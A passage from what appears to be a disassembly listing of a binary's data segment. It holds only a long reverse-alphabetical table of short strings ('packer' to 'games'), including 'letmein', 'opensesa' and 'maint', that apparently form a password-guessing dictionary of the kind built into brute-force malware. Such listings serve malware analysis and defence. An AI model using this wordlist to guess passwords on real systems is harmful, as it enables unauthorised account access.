___:00430938o align 4 aPacker db 'packer',0 ; DATA XREF: ___:00430934o align 4 aPackard db 'packard',0 ; DATA XREF: ___:00430930o aPacific db 'pacific',0 ; DATA XREF: ___:0043092Co aOxford db 'oxford',0 ; DATA XREF: ___:00430928o align 4 aOutside db 'outside',0 ; DATA XREF: ___:00430924o aOutput db 'output',0 ; DATA XREF: ___:00430920o align 4 aOutlaw db 'outlaw',0 ; DATA XREF: ___:0043091Co align 4 aOutdoors db 'outdoors',0 ; DATA XREF: ___:00430918o align 10h aOsiris db 'osiris',0 ; DATA XREF: ___:00430914o align 4 aOscar db 'oscar',0 ; DATA XREF: ___:00430910o align 10h aOrwell db 'orwell',0 ; DATA XREF: ___:0043090Co align 4 aOrient db 'orient',0 ; DATA XREF: ___:00430908o align 10h aOrca db 'orca',0 ; DATA XREF: ___:00430904o align 4 aOperator db 'operator',0 ; DATA XREF: ___:00430900o align 4 aOpensesa db 'opensesa',0 ; DATA XREF: ___:004308FCo align 10h aOpenlock db 'openlock',0 ; DATA XREF: ___:004308F8o align 4 aOpening db 'opening',0 ; DATA XREF: ___:004308F4o aOmega db 'omega',0 ; DATA XREF: ___:004308ECo align 4 aOlivia db 'olivia',0 ; DATA XREF: ___:004308E8o align 4 aOlivetti db 'olivetti',0 ; DATA XREF: ___:004308E4o align 10h aOldage db 'oldage',0 ; DATA XREF: ___:004308E0o align 4 aOkay db 'okay',0 ; DATA XREF: ___:004308DCo align 10h aOffice db 'office',0 ; DATA XREF: ___:004308D8o align 4 aOcelot db 'ocelot',0 ; DATA XREF: ___:004308D4o align 10h aOceanogr db 'oceanogr',0 ; DATA XREF: ___:004308D0o align 4 aObscurit db 'obscurit',0 ; DATA XREF: ___:004308CCo align 4 aNyquist db 'nyquist',0 ; DATA XREF: ___:004308C8o aNuts db 'nuts',0 ; DATA XREF: ___:004308C4o align 4 aNutritio db 'nutritio',0 ; DATA XREF: ___:004308C0o align 4 aNumber db 'number',0 ; DATA XREF: ___:004308BCo align 4 aNull_1 db 'null',0 ; DATA XREF: ___:004308B8o align 4 aNukem db 'nukem',0 ; DATA XREF: ___:004308B4o align 4 aNuke db 'nuke',0 ; DATA XREF: ___:004308B0o align 4 aNude db 'nude',0 ; DATA XREF: ___:004308ACo align 4 aNuclear db 'nuclear',0 ; DATA XREF: ___:004308A8o aNoxious db 'noxious',0 ; DATA XREF: ___:004308A4o aNovember db 'november',0 ; DATA XREF: ___:004308A0o align 4 aNovel db 'novel',0 ; DATA XREF: ___:0043089Co align 10h aNova db 'nova',0 ; DATA XREF: ___:00430898o align 4 aNoth db 'noth',0 ; DATA XREF: ___:00430894o align 10h aNotes db 'notes',0 ; DATA XREF: ___:00430890o align 4 aNoreen db 'noreen',0 ; DATA XREF: ___:0043088Co align 10h aNode db 'node',0 ; DATA XREF: ___:00430888o align 4 aNobody db 'nobody',0 ; DATA XREF: ___:00430884o align 10h aNoble db 'noble',0 ; DATA XREF: ___:00430880o align 4 aNnaacp db 'nnaacp',0 ; DATA XREF: ___:0043087Co align 10h aNita db 'nita',0 ; DATA XREF: ___:00430878o align 4 aNintendo db 'nintendo',0 ; DATA XREF: ___:00430874o align 4 aNightmar db 'nightmar',0 ; DATA XREF: ___:00430870o align 10h aNight db 'night',0 ; DATA XREF: ___:0043086Co align 4 aNicotine db 'nicotine',0 ; DATA XREF: ___:00430868o align 4 aNicole db 'nicole',0 ; DATA XREF: ___:00430864o align 4 aNice db 'nice',0 ; DATA XREF: ___:00430860o align 4 aNext db 'next',0 ; DATA XREF: ___:0043085Co align 4 aNewyork db 'newyork',0 ; DATA XREF: ___:00430858o aNewton db 'newton',0 ; DATA XREF: ___:00430854o align 4 aNewsgrou db 'newsgrou',0 ; DATA XREF: ___:00430850o align 4 aNews db 'news',0 ; DATA XREF: ___:0043084Co align 10h aNewborn db 'newborn',0 ; DATA XREF: ___:00430848o aNetwork_0 db 'network',0 ; DATA XREF: ___:00430844o aNetscape db 'netscape',0 ; DATA XREF: ___:00430840o align 4 aNess db 'ness',0 ; DATA XREF: ___:0043083Co align 4 aNeptune db 'neptune',0 ; DATA XREF: ___:00430838o aNepenthe db 'nepenthe',0 ; DATA XREF: ___:00430834o align 4 aNavy db 'navy',0 ; DATA XREF: ___:00430830o align 10h aNasa db 'nasa',0 ; DATA XREF: ___:0043082Co align 4 aNapoleon db 'napoleon',0 ; DATA XREF: ___:00430828o align 4 aNancy db 'nancy',0 ; DATA XREF: ___:00430824o align 4 aName db 'name',0 ; DATA XREF: ___:00430820o align 4 aNagel db 'nagel',0 ; DATA XREF: ___:0043081Co align 4 aMutant db 'mutant',0 ; DATA XREF: ___:00430818o align 4 aMuppets db 'muppets',0 ; DATA XREF: ___:00430814o aMsdos db 'msdos',0 ; DATA XREF: ___:00430810o align 4 aMpeg db 'mpeg',0 ; DATA XREF: ___:0043080Co align 4 aMozart db 'mozart',0 ; DATA XREF: ___:00430808o align 4 aMovies db 'movies',0 ; DATA XREF: ___:00430804o align 4 aMovie db 'movie',0 ; DATA XREF: ___:00430800o align 4 aMove db 'move',0 ; DATA XREF: ___:004307FCo align 4 aMouse db 'mouse',0 ; DATA XREF: ___:004307F8o align 4 aMountain db 'mountain',0 ; DATA XREF: ___:004307F4o align 10h aMosaic db 'mosaic',0 ; DATA XREF: ___:004307F0o align 4 aMortgage db 'mortgage',0 ; DATA XREF: ___:004307ECo align 4 aMortalco db 'mortalco',0 ; DATA XREF: ___:004307E8o align 10h aMortal db 'mortal',0 ; DATA XREF: ___:004307E4o align 4 aMorris db 'morris',0 ; DATA XREF: ___:004307E0o align 10h aMorley db 'morley',0 ; DATA XREF: ___:004307DCo align 4 aMore db 'more',0 ; DATA XREF: ___:004307D8o align 10h aMoose db 'moose',0 ; DATA XREF: ___:004307D4o align 4 aMoor db 'moor',0 ; DATA XREF: ___:004307D0o align 10h aMoom db 'moom',0 ; DATA XREF: ___:004307CCo align 4 aMonica db 'monica',0 ; DATA XREF: ___:004307C8o align 10h aMonday db 'monday',0 ; DATA XREF: ___:004307C4o align 4 aMoguls db 'moguls',0 ; DATA XREF: ___:004307C0o align 10h aMogul db 'mogul',0 ; DATA XREF: ___:004307BCo align 4 aModem db 'modem',0 ; DATA XREF: ___:004307B8o align 10h aMode db 'mode',0 ; DATA XREF: ___:004307B4o align 4 aMkii db 'mkii',0 ; DATA XREF: ___:004307B0o align 10h aMission db 'mission',0 ; DATA XREF: ___:004307ACo aMisfit db 'misfit',0 ; DATA XREF: ___:004307A8o align 10h aMinsky db 'minsky',0 ; DATA XREF: ___:004307A4o align 4 aMinimum db 'minimum',0 ; DATA XREF: ___:004307A0o aMine db 'mine',0 ; DATA XREF: ___:0043079Co align 4 aMike db 'mike',0 ; DATA XREF: ___:00430798o align 10h aMidieval db 'midieval',0 ; DATA XREF: ___:00430794o align 4 aMicrosof db 'microsof',0 ; DATA XREF: ___:00430790o align 4 aMicropro db 'micropro',0 ; DATA XREF: ___:0043078Co align 4 aMicrochi db 'microchi',0 ; DATA XREF: ___:00430788o align 10h aMicro db 'micro',0 ; DATA XREF: ___:00430784o align 4 aMickey db 'mickey',0 ; DATA XREF: ___:00430780o align 10h aMichelle db 'michelle',0 ; DATA XREF: ___:0043077Co align 4 aMichele db 'michele',0 ; DATA XREF: ___:00430778o aMichelan db 'michelan',0 ; DATA XREF: ___:00430774o align 10h aMichel db 'michel',0 ; DATA XREF: ___:00430770o align 4 aMichael db 'michael',0 ; DATA XREF: ___:0043076Co aMice db 'mice',0 ; DATA XREF: ___:00430768o align 4 aMets db 'mets',0 ; DATA XREF: ___:00430764o align 10h aMetalica db 'metalica',0 ; DATA XREF: ___:00430760o align 4 aMetalhea db 'metalhea',0 ; DATA XREF: ___:0043075Co align 4 aMetal db 'metal',0 ; DATA XREF: ___:00430758o align 10h aMerlin db 'merlin',0 ; DATA XREF: ___:00430754o align 4 aMercury db 'mercury',0 ; DATA XREF: ___:00430750o aMenu db 'menu',0 ; DATA XREF: ___:0043074Co align 4 aMenace db 'menace',0 ; DATA XREF: ___:00430748o align 10h aMemory db 'memory',0 ; DATA XREF: ___:00430744o align 4 aMember db 'member',0 ; DATA XREF: ___:00430740o align 10h aMelrose db 'melrose',0 ; DATA XREF: ___:0043073Co aMellon db 'mellon',0 ; DATA XREF: ___:00430738o align 10h aMelissa db 'melissa',0 ; DATA XREF: ___:00430734o aMegan db 'megan',0 ; DATA XREF: ___:00430730o align 10h aMegadeth db 'megadeth',0 ; DATA XREF: ___:0043072Co align 4 aMegabyte db 'megabyte',0 ; DATA XREF: ___:00430728o align 4 aMeagan db 'meagan',0 ; DATA XREF: ___:00430724o align 10h aMaurice db 'maurice',0 ; DATA XREF: ___:00430720o aMath db 'math',0 ; DATA XREF: ___:0043071Co align 10h aMaster db 'master',0 ; DATA XREF: ___:00430718o align 4 aMason db 'mason',0 ; DATA XREF: ___:00430714o align 10h aMary db 'mary',0 ; DATA XREF: ___:00430710o align 4 aMarvin db 'marvin',0 ; DATA XREF: ___:0043070Co align 10h aMarty db 'marty',0 ; DATA XREF: ___:00430708o align 4 aMars db 'mars',0 ; DATA XREF: ___:00430704o align 10h aMarriage db 'marriage',0 ; DATA XREF: ___:00430700o align 4 aMarni db 'marni',0 ; DATA XREF: ___:004306FCo align 4 aMarkus db 'markus',0 ; DATA XREF: ___:004306F8o align 4 aMark db 'mark',0 ; DATA XREF: ___:004306F4o align 4 aMarines db 'marines',0 ; DATA XREF: ___:004306F0o aMarijuan db 'marijuan',0 ; DATA XREF: ___:004306ECo align 4 aMarietta db 'marietta',0 ; DATA XREF: ___:004306E8o align 4 aMariens db 'mariens',0 ; DATA XREF: ___:004306E4o aMaria db 'maria',0 ; DATA XREF: ___:004306E0o align 4 aMarcy db 'marcy',0 ; DATA XREF: ___:004306DCo align 4 aMarci db 'marci',0 ; DATA XREF: ___:004306D8o align 4 aMara db 'mara',0 ; DATA XREF: ___:004306D4o align 4 aManager db 'manager',0 ; DATA XREF: ___:004306D0o aMana db 'mana',0 ; DATA XREF: ___:004306CCo align 4 aMalcom db 'malcom',0 ; DATA XREF: ___:004306C8o align 4 aMalcolm db 'malcolm',0 ; DATA XREF: ___:004306C4o aMaint db 'maint',0 ; DATA XREF: ___:004306C0o align 4 aMail db 'mail',0 ; DATA XREF: ___:004306BCo align 4 aMagnet db 'magnet',0 ; DATA XREF: ___:004306B8o align 4 aMagic db 'magic',0 ; DATA XREF: ___:004306B4o align 4 aMaggot db 'maggot',0 ; DATA XREF: ___:004306B0o align 4 aMacro db 'macro',0 ; DATA XREF: ___:004306ACo align 4 aMack db 'mack',0 ; DATA XREF: ___:004306A8o align 4 aMacintos db 'macintos',0 ; DATA XREF: ___:004306A4o align 10h aMachine db 'machine',0 ; DATA XREF: ___:004306A0o aLynne db 'lynne',0 ; DATA XREF: ___:0043069Co align 10h aLynn db 'lynn',0 ; DATA XREF: ___:00430698o align 4 aLust db 'lust',0 ; DATA XREF: ___:00430694o align 10h aLuke db 'luke',0 ; DATA XREF: ___:00430690o align 4 aLude db 'lude',0 ; DATA XREF: ___:0043068Co align 10h aLucy db 'lucy',0 ; DATA XREF: ___:00430688o align 4 aLucus db 'lucus',0 ; DATA XREF: ___:00430684o align 10h aLuck db 'luck',0 ; DATA XREF: ___:00430680o align 4 aLover db 'lover',0 ; DATA XREF: ___:0043067Co align 10h aLovebug db 'lovebug',0 ; DATA XREF: ___:00430678o aLouis db 'louis',0 ; DATA XREF: ___:00430674o align 10h aLoser db 'loser',0 ; DATA XREF: ___:00430670o align 4 aLorraine db 'lorraine',0 ; DATA XREF: ___:0043066Co align 4 aLorin db 'lorin',0 ; DATA XREF: ___:00430668o align 4 aLori db 'lori',0 ; DATA XREF: ___:00430664o align 4 aLore db 'lore',0 ; DATA XREF: ___:00430660o align 4 aLoose db 'loose',0 ; DATA XREF: ___:0043065Co align 4 aLolopc db 'lolopc',0 ; DATA XREF: ___:00430658o align 4 aLois db 'lois',0 ; DATA XREF: ___:00430654o align 4 aLogout db 'logout',0 ; DATA XREF: ___:00430650o align 4 aLoginwor db 'loginwor',0 ; DATA XREF: ___:0043064Co align 4 aLogic db 'logic',0 ; DATA XREF: ___:00430648o align 10h aLockword db 'lockword',0 ; DATA XREF: ___:00430644o align 4 aLockout db 'lockout',0 ; DATA XREF: ___:00430640o aLock db 'lock',0 ; DATA XREF: ___:0043063Co align 4 aLoad db 'load',0 ; DATA XREF: ___:00430638o align 4 aLive db 'live',0 ; DATA XREF: ___:00430634o align 4 aLiteratu db 'literatu',0 ; DATA XREF: ___:00430630o align 4 aLisp db 'lisp',0 ; DATA XREF: ___:0043062Co align 10h aLisa db 'lisa',0 ; DATA XREF: ___:00430628o align 4 aLips db 'lips',0 ; DATA XREF: ___:00430624o align 10h aLion db 'lion',0 ; DATA XREF: ___:00430620o align 4 aLink db 'link',0 ; DATA XREF: ___:0043061Co align 10h aLinda db 'linda',0 ; DATA XREF: ___:00430618o align 4 aLimited db 'limited',0 ; DATA XREF: ___:00430614o aLimbaugh db 'limbaugh',0 ; DATA XREF: ___:00430610o align 4 aLima db 'lima',0 ; DATA XREF: ___:0043060Co align 4 aLightsab db 'lightsab',0 ; DATA XREF: ___:00430608o align 10h aLight db 'light',0 ; DATA XREF: ___:00430604o align 4 aLife db 'life',0 ; DATA XREF: ___:00430600o align 10h aLicker db 'licker',0 ; DATA XREF: ___:004305FCo align 4 aLick db 'lick',0 ; DATA XREF: ___:004305F8o align 10h aLibrary db 'library',0 ; DATA XREF: ___:004305F4o aLiberal db 'liberal',0 ; DATA XREF: ___:004305F0o aLexluthe db 'lexluthe',0 ; DATA XREF: ___:004305ECo align 4 aLewis db 'lewis',0 ; DATA XREF: ___:004305E8o align 4 aLetmein db 'letmein',0 ; DATA XREF: ___:004305E4o aLeslie db 'leslie',0 ; DATA XREF: ___:004305E0o align 4 aLesbian db 'lesbian',0 ; DATA XREF: ___:004305DCo aLeroy db 'leroy',0 ; DATA XREF: ___:004305D8o align 4 aLeland db 'leland',0 ; DATA XREF: ___:004305D4o align 4 aLegal db 'legal',0 ; DATA XREF: ___:004305D0o align 4 aLeftwing db 'leftwing',0 ; DATA XREF: ___:004305CCo align 10h aLeft db 'left',0 ; DATA XREF: ___:004305C8o align 4 aLebesgue db 'lebesgue',0 ; DATA XREF: ___:004305C4o align 4 aLeah db 'leah',0 ; DATA XREF: ___:004305C0o align 4 aLazer db 'lazer',0 ; DATA XREF: ___:004305BCo align 4 aLazarus db 'lazarus',0 ; DATA XREF: ___:004305B8o aLava db 'lava',0 ; DATA XREF: ___:004305B4o align 4 aLaura db 'laura',0 ; DATA XREF: ___:004305B0o align 4 aLaser db 'laser',0 ; DATA XREF: ___:004305ACo align 4 aLarry db 'larry',0 ; DATA XREF: ___:004305A8o align 4 aLarkin db 'larkin',0 ; DATA XREF: ___:004305A4o align 4 aLara db 'lara',0 ; DATA XREF: ___:004305A0o align 4 aLaptop db 'laptop',0 ; DATA XREF: ___:0043059Co align 4 aLana db 'lana',0 ; DATA XREF: ___:00430598o align 4 aLaminati db 'laminati',0 ; DATA XREF: ___:00430594o align 4 aLambda db 'lambda',0 ; DATA XREF: ___:00430590o align 10h aLakers db 'lakers',0 ; DATA XREF: ___:0043058Co align 4 aLadle db 'ladle',0 ; DATA XREF: ___:00430588o align 10h aLadies db 'ladies',0 ; DATA XREF: ___:00430584o align 4 aKristy db 'kristy',0 ; DATA XREF: ___:00430580o align 10h aKristine db 'kristine',0 ; DATA XREF: ___:0043057Co align 4 aKristin db 'kristin',0 ; DATA XREF: ___:00430578o aKristie db 'kristie',0 ; DATA XREF: ___:00430574o aKristi db 'kristi',0 ; DATA XREF: ___:00430570o align 4 aKristen db 'kristen',0 ; DATA XREF: ___:0043056Co aKrista db 'krista',0 ; DATA XREF: ___:00430568o align 4 aKnown db 'known',0 ; DATA XREF: ___:00430564o align 4 aKnightma db 'knightma',0 ; DATA XREF: ___:00430560o align 4 aKnight db 'knight',0 ; DATA XREF: ___:0043055Co align 10h aKnife db 'knife',0 ; DATA XREF: ___:00430558o align 4 aKlingon db 'klingon',0 ; DATA XREF: ___:00430554o aKitten db 'kitten',0 ; DATA XREF: ___:00430550o align 4 aKissmyas db 'kissmyas',0 ; DATA XREF: ___:0043054Co align 4 aKiss db 'kiss',0 ; DATA XREF: ___:00430548o align 4 aKirkland db 'kirkland',0 ; DATA XREF: ___:00430544o align 4 aKirk db 'kirk',0 ; DATA XREF: ___:00430540o align 10h aKing db 'king',0 ; DATA XREF: ___:0043053Co align 4 aKimberly db 'kimberly',0 ; DATA XREF: ___:00430538o align 4 aKilo db 'kilo',0 ; DATA XREF: ___:00430534o align 4 aKillthem db 'killthem',0 ; DATA XREF: ___:00430530o align 4 aKill db 'kill',0 ; DATA XREF: ___:0043052Co align 10h aKids db 'kids',0 ; DATA XREF: ___:00430528o align 4 aKeyword db 'keyword',0 ; DATA XREF: ___:00430524o aKeyin db 'keyin',0 ; DATA XREF: ___:00430520o align 4 aKeybord db 'keybord',0 ; DATA XREF: ___:0043051Co aKewl db 'kewl',0 ; DATA XREF: ___:00430518o align 4 aKevin db 'kevin',0 ; DATA XREF: ___:00430514o align 10h aKerry db 'kerry',0 ; DATA XREF: ___:00430510o align 4 aKerrie db 'kerrie',0 ; DATA XREF: ___:0043050Co align 10h aKerri db 'kerri',0 ; DATA XREF: ___:00430508o align 4 aKernel db 'kernel',0 ; DATA XREF: ___:00430504o align 10h aKermit db 'kermit',0 ; DATA XREF: ___:00430500o align 4 aKeri db 'keri',0 ; DATA XREF: ___:004304FCo align 10h aKelly db 'kelly',0 ; DATA XREF: ___:004304F8o align 4 aKatrina db 'katrina',0 ; DATA XREF: ___:004304F4o aKatina db 'katina',0 ; DATA XREF: ___:004304F0o align 4 aKathy db 'kathy',0 ; DATA XREF: ___:004304ECo align 10h aKathrine db 'kathrine',0 ; DATA XREF: ___:004304E8o align 4 aKathleen db 'kathleen',0 ; DATA XREF: ___:004304E4o align 4 aKate db 'kate',0 ; DATA XREF: ___:004304E0o align 10h aKatana db 'katana',0 ; DATA XREF: ___:004304DCo align 4 aKarina db 'karina',0 ; DATA XREF: ___:004304D8o align 10h aKarie db 'karie',0 ; DATA XREF: ___:004304D4o align 4 aKaren db 'karen',0 ; DATA XREF: ___:004304D0o align 10h aKaka db 'kaka',0 ; DATA XREF: ___:004304CCo align 4 aJupiter db 'jupiter',0 ; DATA XREF: ___:004304C8o aJune db 'june',0 ; DATA XREF: ___:004304C4o align 4 aJuliet db 'juliet',0 ; DATA XREF: ___:004304C0o align 10h aJulie db 'julie',0 ; DATA XREF: ___:004304BCo align 4 aJulia db 'julia',0 ; DATA XREF: ___:004304B8o align 10h aJuicy db 'juicy',0 ; DATA XREF: ___:004304B4o align 4 aJuggle db 'juggle',0 ; DATA XREF: ___:004304B0o align 10h aJudy db 'judy',0 ; DATA XREF: ___:004304ACo align 4 aJudith db 'judith',0 ; DATA XREF: ___:004304A8o align 10h aJoyce db 'joyce',0 ; DATA XREF: ___:004304A4o align 4 aJournal db 'journal',0 ; DATA XREF: ___:004304A0o aJoshua db 'joshua',0 ; DATA XREF: ___:0043049Co align 4 aJoseph db 'joseph',0 ; DATA XREF: ___:00430498o align 10h aJohnny db 'johnny',0 ; DATA XREF: ___:00430494o align 4 aJohndoe db 'johndoe',0 ; DATA XREF: ___:00430490o aJohn db 'john',0 ; DATA XREF: ___:0043048Co align 4 aJody db 'jody',0 ; DATA XREF: ___:00430488o align 10h aJoanne db 'joanne',0 ; DATA XREF: ___:00430484o align 4 aJixian db 'jixian',0 ; DATA XREF: ___:00430480o align 10h aJill db 'jill',0 ; DATA XREF: ___:0043047Co align 4 aJewelry db 'jewelry',0 ; DATA XREF: ___:00430478o aJester db 'jester',0 ; DATA XREF: ___:00430474o align 4 aJessica db 'jessica',0 ; DATA XREF: ___:00430470o aJerusale db 'jerusale',0 ; DATA XREF: ___:0043046Co align 4 aJerry db 'jerry',0 ; DATA XREF: ___:00430468o align 4 aJenny db 'jenny',0 ; DATA XREF: ___:00430464o align 4 aJennifer db 'jennifer',0 ; DATA XREF: ___:00430460o align 4 aJenni db 'jenni',0 ; DATA XREF: ___:0043045Co align 10h aJeff db 'jeff',0 ; DATA XREF: ___:00430458o align 4 aJeanne db 'jeanne',0 ; DATA XREF: ___:00430454o align 10h aJean db 'jean',0 ; DATA XREF: ___:00430450o align 4 aJazz db 'jazz',0 ; DATA XREF: ___:0043044Co align 10h aJava db 'java',0 ; DATA XREF: ___:00430448o align 4 aJasmin db 'jasmin',0 ; DATA XREF: ___:00430444o align 10h aJapan db 'japan',0 ; DATA XREF: ___:00430440o align 4 aJanie db 'janie',0 ; DATA XREF: ___:0043043Co align 10h aJanice db 'janice',0 ; DATA XREF: ___:00430438o align 4 aJanet db 'janet',0 ; DATA XREF: ___:00430434o align 10h aJane db 'jane',0 ; DATA XREF: ___:00430430o align 4 aJail db 'jail',0 ; DATA XREF: ___:0043042Co align 10h aJackie db 'jackie',0 ; DATA XREF: ___:00430428o align 4 aIsis db 'isis',0 ; DATA XREF: ___:00430424o align 10h aIrishman db 'irishman',0 ; DATA XREF: ___:00430420o align 4 aIrene db 'irene',0 ; DATA XREF: ___:0043041Co align 4 aInvent db 'invent',0 ; DATA XREF: ___:00430418o align 4 aInteger db 'integer',0 ; DATA XREF: ___:00430414o aInside db 'inside',0 ; DATA XREF: ___:00430410o align 4 aInput db 'input',0 ; DATA XREF: ___:0043040Co align 4 aInnocuou db 'innocuou',0 ; DATA XREF: ___:00430408o align 10h aInna db 'inna',0 ; DATA XREF: ___:00430404o align 4 aIngrid db 'ingrid',0 ; DATA XREF: ___:00430400o align 10h aIngress db 'ingress',0 ; DATA XREF: ___:004303FCo aIngres db 'ingres',0 ; DATA XREF: ___:004303F8o align 10h aIndians db 'indians',0 ; DATA XREF: ___:004303F4o aIndiana db 'indiana',0 ; DATA XREF: ___:004303F0o aIndian db 'indian',0 ; DATA XREF: ___:004303ECo align 4 aIndia db 'india',0 ; DATA XREF: ___:004303E8o align 10h aInclude db 'include',0 ; DATA XREF: ___:004303E4o aImperial db 'imperial',0 ; DATA XREF: ___:004303E0o align 4 aImmortal db 'immortal',0 ; DATA XREF: ___:004303DCo align 10h aImbrogli db 'imbrogli',0 ; DATA XREF: ___:004303D8o align 4 aImage db 'image',0 ; DATA XREF: ___:004303D4o align 4 aIllumina db 'illumina',0 ; DATA XREF: ___:004303D0o align 10h aIcecream db 'icecream',0 ; DATA XREF: ___:004303CCo align 4 aHypertxt db 'hypertxt',0 ; DATA XREF: ___:004303C8o align 4 aHyper db 'hyper',0 ; DATA XREF: ___:004303C4o align 10h aHydrogen db 'hydrogen',0 ; DATA XREF: ___:004303C0o align 4 aHutchins db 'hutchins',0 ; DATA XREF: ___:004303BCo align 4 aHunter db 'hunter',0 ; DATA XREF: ___:004303B8o align 10h aHunt db 'hunt',0 ; DATA XREF: ___:004303B4o align 4 aHttp_0 db 'http',0 ; DATA XREF: ___:004303B0o align 10h aHotel db 'hotel',0 ; DATA XREF: ___:004303ACo align 4 aHotdog db 'hotdog',0 ; DATA XREF: ___:004303A8o align 10h aHost db 'host',0 ; DATA XREF: ___:004303A4o align 4 aHorus db 'horus',0 ; DATA XREF: ___:004303A0o align 10h aHorse db 'horse',0 ; DATA XREF: ___:0043039Co align 4 aHorror db 'horror',0 ; DATA XREF: ___:00430398o align 10h aHorrible db 'horrible',0 ; DATA XREF: ___:00430394o align 4 aHorny db 'horny',0 ; DATA XREF: ___:00430390o align 4 aHooters db 'hooters',0 ; DATA XREF: ___:0043038Co aHooker db 'hooker',0 ; DATA XREF: ___:00430388o align 4 aHoney db 'honey',0 ; DATA XREF: ___:00430384o align 4 aHomework db 'homework',0 ; DATA XREF: ___:00430380o align 4 aHomer db 'homer',0 ; DATA XREF: ___:0043037Co align 10h aHomepage db 'homepage',0 ; DATA XREF: ___:00430378o align 4 aHollywoo db 'hollywoo',0 ; DATA XREF: ___:00430374o align 4 aHolly db 'holly',0 ; DATA XREF: ___:00430370o align 10h aHole db 'hole',0 ; DATA XREF: ___:0043036Co align 4 aHits db 'hits',0 ; DATA XREF: ___:00430368o align 10h aHitler db 'hitler',0 ; DATA XREF: ___:00430364o align 4 aHighland db 'highland',0 ; DATA XREF: ___:00430360o align 4 aHigh db 'high',0 ; DATA XREF: ___:0043035Co align 4 aHidden db 'hidden',0 ; DATA XREF: ___:00430358o align 4 aHibernia db 'hibernia',0 ; DATA XREF: ___:00430354o align 10h aHiawatha db 'hiawatha',0 ; DATA XREF: ___:00430350o align 4 aHexadeci db 'hexadeci',0 ; DATA XREF: ___:0043034Co align 4 aHewlett db 'hewlett',0 ; DATA XREF: ___:00430348o aHeroin db 'heroin',0 ; DATA XREF: ___:00430344o align 4 aHero db 'hero',0 ; DATA XREF: ___:00430340o align 10h aHerbert db 'herbert',0 ; DATA XREF: ___:0043033Co aHerb db 'herb',0 ; DATA XREF: ___:00430338o align 10h aHelp db 'help',0 ; DATA XREF: ___:00430334o align 4 aHello db 'hello',0 ; DATA XREF: ___:00430330o align 10h aHell db 'hell',0 ; DATA XREF: ___:0043032Co align 4 aHeinlein db 'heinlein',0 ; DATA XREF: ___:00430328o align 4 aHeidi db 'heidi',0 ; DATA XREF: ___:00430324o align 4 aHebrides db 'hebrides',0 ; DATA XREF: ___:00430320o align 4 aHeather db 'heather',0 ; DATA XREF: ___:0043031Co aHeathen db 'heathen',0 ; DATA XREF: ___:00430318o aHeat db 'heat',0 ; DATA XREF: ___:00430314o align 10h aHeadbang db 'headbang',0 ; DATA XREF: ___:00430310o align 4 aHead db 'head',0 ; DATA XREF: ___:0043030Co align 4 aHawaii db 'hawaii',0 ; DATA XREF: ___:00430308o align 4 aHaven db 'haven',0 ; DATA XREF: ___:00430304o align 4 aHate db 'hate',0 ; DATA XREF: ___:00430300o align 4 aHarvey db 'harvey',0 ; DATA XREF: ___:004302FCo align 4 aHarold db 'harold',0 ; DATA XREF: ___:004302F8o align 4 aHarmony db 'harmony',0 ; DATA XREF: ___:004302F4o aHarddriv db 'harddriv',0 ; DATA XREF: ___:004302F0o align 10h aHardcore db 'hardcore',0 ; DATA XREF: ___:004302ECo align 4 aHard db 'hard',0 ; DATA XREF: ___:004302E8o align 4 aHappenin db 'happenin',0 ; DATA XREF: ___:004302E4o align 10h aHandjob db 'handjob',0 ; DATA XREF: ___:004302E0o aHandily db 'handily',0 ; DATA XREF: ___:004302DCo aHandel db 'handel',0 ; DATA XREF: ___:004302D8o align 4 aHamster db 'hamster',0 ; DATA XREF: ___:004302D4o aHamlet db 'hamlet',0 ; DATA XREF: ___:004302D0o align 4 aHallowee db 'hallowee',0 ; DATA XREF: ___:004302CCo align 4 aHair db 'hair',0 ; DATA XREF: ___:004302C8o align 4 aHagar db 'hagar',0 ; DATA XREF: ___:004302C4o align 4 aHacked db 'hacked',0 ; DATA XREF: ___:004302C0o align 4 aHack db 'hack',0 ; DATA XREF: ___:004302BCo align 4 aGuntis db 'guntis',0 ; DATA XREF: ___:004302B8o align 4 aGumption db 'gumption',0 ; DATA XREF: ___:004302B4o align 4 aGuitar db 'guitar',0 ; DATA XREF: ___:004302B0o align 10h aGuess db 'guess',0 ; DATA XREF: ___:004302ACo align 4 aGucci db 'gucci',0 ; DATA XREF: ___:004302A8o align 10h aGuardian db 'guardian',0 ; DATA XREF: ___:004302A4o align 4 aGryphon db 'gryphon',0 ; DATA XREF: ___:004302A0o aGroup db 'group',0 ; DATA XREF: ___:0043029Co align 4 aGreen db 'green',0 ; DATA XREF: ___:00430298o align 4 aGreat db 'great',0 ; DATA XREF: ___:00430294o align 4 aGrant db 'grant',0 ; DATA XREF: ___:00430290o align 4 aGrand db 'grand',0 ; DATA XREF: ___:0043028Co align 4 aGrahm db 'grahm',0 ; DATA XREF: ___:00430288o align 4 aGraham db 'graham',0 ; DATA XREF: ___:00430284o align 4 aGrades db 'grades',0 ; DATA XREF: ___:00430280o align 4 aGovermen db 'govermen',0 ; DATA XREF: ___:0043027Co align 10h aGouge db 'gouge',0 ; DATA XREF: ___:00430278o align 4 aGosling db 'gosling',0 ; DATA XREF: ___:00430274o aGorges db 'gorges',0 ; DATA XREF: ___:00430270o align 4 aGorgeous db 'gorgeous',0 ; DATA XREF: ___:0043026Co align 4 aGood db 'good',0 ; DATA XREF: ___:00430268o align 4 aGolfer db 'golfer',0 ; DATA XREF: ___:00430264o align 4 aGolf db 'golf',0 ; DATA XREF: ___:00430260o align 4 aGolden db 'golden',0 ; DATA XREF: ___:0043025Co align 4 aGold db 'gold',0 ; DATA XREF: ___:00430258o align 4 aGlacier db 'glacier',0 ; DATA XREF: ___:00430254o aGirl db 'girl',0 ; DATA XREF: ___:00430250o align 4 aGinger db 'ginger',0 ; DATA XREF: ___:0043024Co align 4 aGina db 'gina',0 ; DATA XREF: ___:00430248o align 4 aGigabyte db 'gigabyte',0 ; DATA XREF: ___:00430244o align 4 aGibson db 'gibson',0 ; DATA XREF: ___:00430240o align 10h aGhost db 'ghost',0 ; DATA XREF: ___:0043023Co align 4 aGertrude db 'gertrude',0 ; DATA XREF: ___:00430238o align 4 aGerm db 'germ',0 ; DATA XREF: ___:00430234o align 4 aGeorge db 'george',0 ; DATA XREF: ___:00430230o align 4 aGauss db 'gauss',0 ; DATA XREF: ___:0043022Co align 4 aGatt db 'gatt',0 ; DATA XREF: ___:00430228o align 4 aGatherin db 'gatherin',0 ; DATA XREF: ___:00430224o align 10h aGateway db 'gateway',0 ; DATA XREF: ___:00430220o aGarfield db 'garfield',0 ; DATA XREF: ___:0043021Co align 4 aGardner db 'gardner',0 ; DATA XREF: ___:00430218o aGames db 'games',0 ; DATA XREF: 